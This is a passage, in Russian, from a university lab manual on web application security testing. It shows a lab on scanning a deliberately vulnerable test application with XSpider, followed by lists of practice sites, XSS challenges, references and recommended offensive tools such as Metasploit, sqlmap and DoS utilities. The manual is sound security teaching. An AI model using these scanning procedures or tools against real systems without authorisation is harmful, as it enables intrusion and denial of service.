- поддержка HTTP-аутентификации Basic и нестандартных схем аутентификации;
- автоматическое отслеживание сессий;
- поиск уязвимых и вредоносных сценариев по содержимому веб-документа;
- эвристический поиск основных уязвимостей веб-приложений.

Если в ходе идентификации открытых портов и служб на сканируемом узле обнаружен веб-сервер, то сканер выполняет поиск уязвимостей, соответствующих его типу (например, Apache, IIS, Nginx и т.д.), а также установленным расширениям (ASP, FrontPage и т.п.).

Следующим этапом является аутентификация, авторизация и проверка известных уязвимостей веб-приложений. В настоящее время сканирующее ядро XSpider поддерживает три механизма аутентификации:

- Basic;
- NTLM;
- собственные схемы аутентификации (например, аутентификация через форму веб-приложения).

В случае, если сервер использует собственные механизмы аутентификации, то возможно использование одного из двух вариантов.

Первый из них – использование собственного стартового запроса. В этом случае сканеру необходимо задать HTTP-запрос, используемый при первом обращении к сайту. Второй способ подразумевает конфигурирование и использование HTTP-

заголовков с аутентификационными данными (заголовки Cookie, X-Auth-Token и т.д.), которые будут пересылаться в каждом HTTP-запросе. Получить содержимое запроса можно с помощью любого сетевого анализатора (например, Wireshark, Httpwatch) или прокси-сервера (например, Burp Suite).

После этого включается механизм поиска скрытых директорий и индексации содержимого. В ходе сбора содержимого сканирующее ядро XSpider анализирует на предмет наличия гиперссылок веб-страницы, а также различные служебные и информационные файлы, содержащиеся на сервере (например, robots.txt или readme.txt). После построения карты сайта сканер переход в режим поиска уязвимостей, которые отображаются в консоли программы по мере обнаружения.

Постановка задачи

Выполнить сканирование уязвимостей веб-приложения с использованием сканера безопасности общего назначения XSpider.

Последовательность действий

Шаг 1. Развернуть тестовое небезопасное веб-приложение. Запустить сканер XSpider. Создать или открыть профиль сканирования «`Web scan`». Список сканируемых портов ограничить значениями `80/tcp` и `443/tcp`. Отключить сканирование UDP-портов, включить идентификацию сервисов.

Шаг 2. Включить все опции в разделе «`HTTP`». В разделе «Анализатор контента» оставить включенными опции по использованию словарей, поиску старых файлов и поиску вредоносного кода. При необходимости добавить дополнительные ссылки.

Шаг 3. В разделе «`Типы уязвимостей`» оставить только «`SQL-инъекции`», «`Удаленное выполнение команд`», «`Просмотр произвольных файлов`» и «`Межсайтовый скриптинг (XSS)`». Отключить подбор учетных записей. Сохранить профиль. Запустить сканирование веб-приложения с использованием созданного профиля. Просмотреть результаты. Проанализировать

запросы, отправляемые сканером при выполнении проверок на наличие уязвимостей.

Шаг 4. Аутентифицироваться в веб-приложении. С помощью анализатора запросов сохранить HTTP-запросы, содержащие аутентификационные данные (Cookie, заголовки и т.д.). Открыть профиль «`Web scan`», добавить аутентификационные данные в разделе «Дополнительные поля запроса». Сохранить профиль. Выполнить повторное сканирование. Сравнить результаты.

Вопросы и задания

1. Выполнить ручные проверки наличия обнаруженных сканером уязвимостей в веб-приложении.
2. Выполнить сканирование того же приложения с помощью сканера W3AF, сравнить полученные результаты.
3. Реализовать веб-приложение, уязвимое к атаке XSS, которое инвертирует введенные пользователем данные и выводит их в HTML-документ. Выполнить сканирование данного приложения с помощью любого сканера веб-приложений.

ЛИТЕРАТУРА

1. Bugcrowd’s Bug Bounty List. URL: https://bugcrowd.com/list-of-bug-bounty-programs
2. HackerOne’s Bug Bounty Programs. URL: https://hackerone.com/programs
3. Adobe Cross Domain Policy File Specification. URL: http://www.adobe.com/devnet/articles/crossdomain_policy_file_spec.htm
4. Google Hacking Database. URL: http://www.exploit-db.com/google-dorks
5. Saumil Shah. An Introduction to HTTP fingerprinting. URL: http://www.net-square.com/httprint_paper.html
6. Qualys, Inc. TLS Renegotiation and Denial of Service Attacks. URL: https://community.qualys.com/blogs/securitylabs/2011/10/31/tls-renegotiation-and-denial-of-service-attacks
7. Qualys SSL Labs. SSL/TLS Deployment Best Practices. URL: https://www.ssllabs.com/downloads/SSL_TLS_Deployment_Best_Practices_1.3.pdf
8. ЗАО Позитив Текнолоджис. В. Кочетков. Как разработать защищенное веб-приложение и не сойти при этом с ума». URL: http://www.slideshare.net/kochetkov.vladimir/hdswasm-webinar
9. И. Новиков. Завалить в один запрос: уязвимости веб-приложение, приводящие к DoS. URL: http://www.slideshare.net/d0znpp/ss-27695334
10. Trustwave’s SpiderLabs. Mitigating Slow HTTP DoS Attacks. URL: http://blog.spiderlabs.com/2011/07/advanced-topic-of-the-week-mitigating-slow-http-dos-attacks.html
11. Mitigation of 'Slow Read" Denial of Service Attack. URL: http://blog.spiderlabs.com/2012/01/modsecurity-advanced-topic-of-the-week-mitigation-of-slow-read-denial-of-service-attack.html
12. Qualys Inc. Are you ready for slow reading? URL: https://community.qualys.com/blogs/securitylabs/2012/01/05/slow-read

13. Identifying Slow HTTP Attack Vulnerabilities. URL: https://community.qualys.com/blogs/securitylabs/2012/01/05/slow-read
14. CWE-352: Cross-Site Request Forgery (CSRF). URL: http://cwe.mitre.org/data/definitions/352.html
15. Barth A., Jackson C., and Mitchell J. *Robust Defenses for Cross-Site Request Forgery* // Proc. 15th ACM Conference on Computer and Communications Security. – ACM Press, 2008. pp. 75-87.
16. Javed A. On Breaking PHP-based Cross-Site Scripting Protection Mechanisms. URL: http://slides.com/mscasharjaved/on-breaking-php-based-cross-site-scripting-protections-in-the-wild
17. Д. Евтеев. SQL Injection от А до Я. URL: http://www.ptsecurity.ru/download/PT-devteev-Advanced-SQL-Injection.pdf
18. Acunetix. Why File Upload Forms are a Major Security Threat. URL: https://www.acunetix.com/websitesecurity/upload-forms-threat.

ПРИЛОЖЕНИЯ

Рекомендуемые материалы по безопасности веб-приложений

1. OWASP Foundation. OWASP Testing Guide v4.0. URL: https://www.owasp.org/index.php/Web_Application_Penetration_Testing.
2. Heiderich M., Nava E., Heyes G., Lindsay D. Web Application Obfuscation. – ISBN-10: 1597496049.
3. McNab C. Network Security Assessment : Know Your Network, second edition. – ISBN-10:0-596-51030-6.
4. Ristic I. Bulletproof SSL and TLS: Understanding and deploying SSL/TLS and PKI to secure servers and web applications. – ISBN-10: 1907117040.
5. Stuttard D., Pinto M. The Web Applicaion Hackers's Handbook: Finding and Exploiting Security Flaws. – ISBN-10: 1118026470.
6. Zalewski M. The Tangled Web: A Guide to Securing Modern Web Applications. – ISBN-10: 1593273886.
7. HTML5 Security Cheatsheet. URL: https://html5sec.org/

Перечень небезопасных веб-приложений

1. http://testphp.vulnweb.com
2. http://testaspnet.vulnweb.com
3. http://testasp.vulnweb.com
4. http://testhtml5.vulnweb.com
5. http://crackme.cenzic.com
6. http://demo.testfire.net
7. http://aspnet.testsparker.com
8. http://php.testsparker.com/
9. http://www.webscantest.com/
10. https://hack.me
11. http://pentesteracademylab.appspot.com
12. http://zero.webappsecurity.com
13. https://code.google.com/p/webgoat/
14. https://owasp.codeplex.com
15. https://github.com/owasp/railsgoat
16. https://community.rapid7.com/docs/DOC-1875
17. https://www.pentesterlab.com/exercises
18. http://downloads.phdays.com/phdays_ibank_vm.zip
19. http://code.google.com/p/owaspbwa/wiki/ProjectSummary
20. http://www.mcafee.com/us/downloads/free-tools/hacme-bank.aspx
21. http://www.mcafee.com/us/downloads/free-tools/hacmebooks.aspx
22. http://www.mcafee.com/us/downloads/free-tools/hacmetravel.aspx

Перечень основных задач по поиску уязвимостей к атакам XSS

1. http://xss-game.appspot.com
2. http://www.domxss.com/domxss
3. http://escape.alf.nu
4. http://prompt.ml
5. http://xss.1llusion.info/
6. http://xss-quiz.int21h.jp/
7. http://xssplaygroundforfunandlearn.netai.net/allseries.html
8. https://hack.me/101575/bypass-blacklist-based-waf-challenge.html
9. https://hack.me/101705/rhainfosec-xss-challenge-2.html

Перечень рекомендуемого программного обеспечения

1. Burp Suite. URL: http://portswigger.net/burp/
2. Zed Attack Proxy. URL: https://code.google.com/p/zaproxy/
3. Fiddler. URL:// http://www.telerik.com/fiddler
4. Nmap. URL:// http://nmap.org/
5. BeEF. URL:// http://beefproject.com/
6. Metasploit Framework. URL: http://www.metasploit.com/
7. Sqlmap. URL: http://sqlmap.org/
8. Thc-ssl-dos. URL: https://www.thc.org/thc-ssl-dos/
9. Сервис SSL Labs. URL: https://ssllab.com.
10. Httprint. URL: http://www.net-square.com/httprint.html
11. Slowhttptest. URL: https://code.google.com/p/slowhttptest/

СОДЕРЖАНИЕ

ПРЕДИСЛОВИЕ **3**

ЛАБОРАТОРНЫЕ РАБОТЫ ПО АНАЛИЗУ ЗАЩИЩЕННОСТИ ВЕБ-ПРИЛОЖЕНИЙ **4**

Сбор информации о веб-приложении *5*

Тестирование защищенности транспортного уровня *10*

Тестирование защищенности механизма управления доступом *19*

Тестирование защищенности механизма управления сессиями *24*

Тестирование на устойчивость к атакам отказа в обслуживании *28*

Поиск уязвимостей к атакам CSRF *31*

Поиск уязвимостей к атакам XSS *35*

Поиск уязвимостей к атакам SQL-injection *40*

Поиска уязвимостей к атакам RCE *45*

Сканирование уязвимостей веб-приложений *49*

ЛИТЕРАТУРА **53**

ПРИЛОЖЕНИЯ **55**

Рекомендуемые материалы по безопасности веб-приложений *55*

Перечень небезопасных веб-приложений *56*

Перечень основных задач по поиску уязвимостей к атакам XSS *57*

Перечень рекомендуемого программного обеспечения *58*

СОДЕРЖАНИЕ **59**

Учебное издание

Денис Николаевич Колегов

ЛАБОРАТОРНЫЙ ПРАКТИКУМ ПО ОСНОВАМ АНАЛИЗА ЗАЩИЩЕННОСТИ ВЕБ-ПРИЛОЖЕНИЙ

Учебное пособие

Работа вышла в свет в авторской редакции

Подписано к печати 17.09.2014 г. Формат $60\times84^{1}/_{16}$.
Бумага для офисной техники. Гарнитура Times.
Усл. печ. л. 3,44.
Тираж 15 экз. Заказ № 546.

Отпечатано на оборудовании
Издательского Дома
Томского государственного университета
634050, г. Томск, пр. Ленина, 36
Тел. 8+(382-2)–53-15-28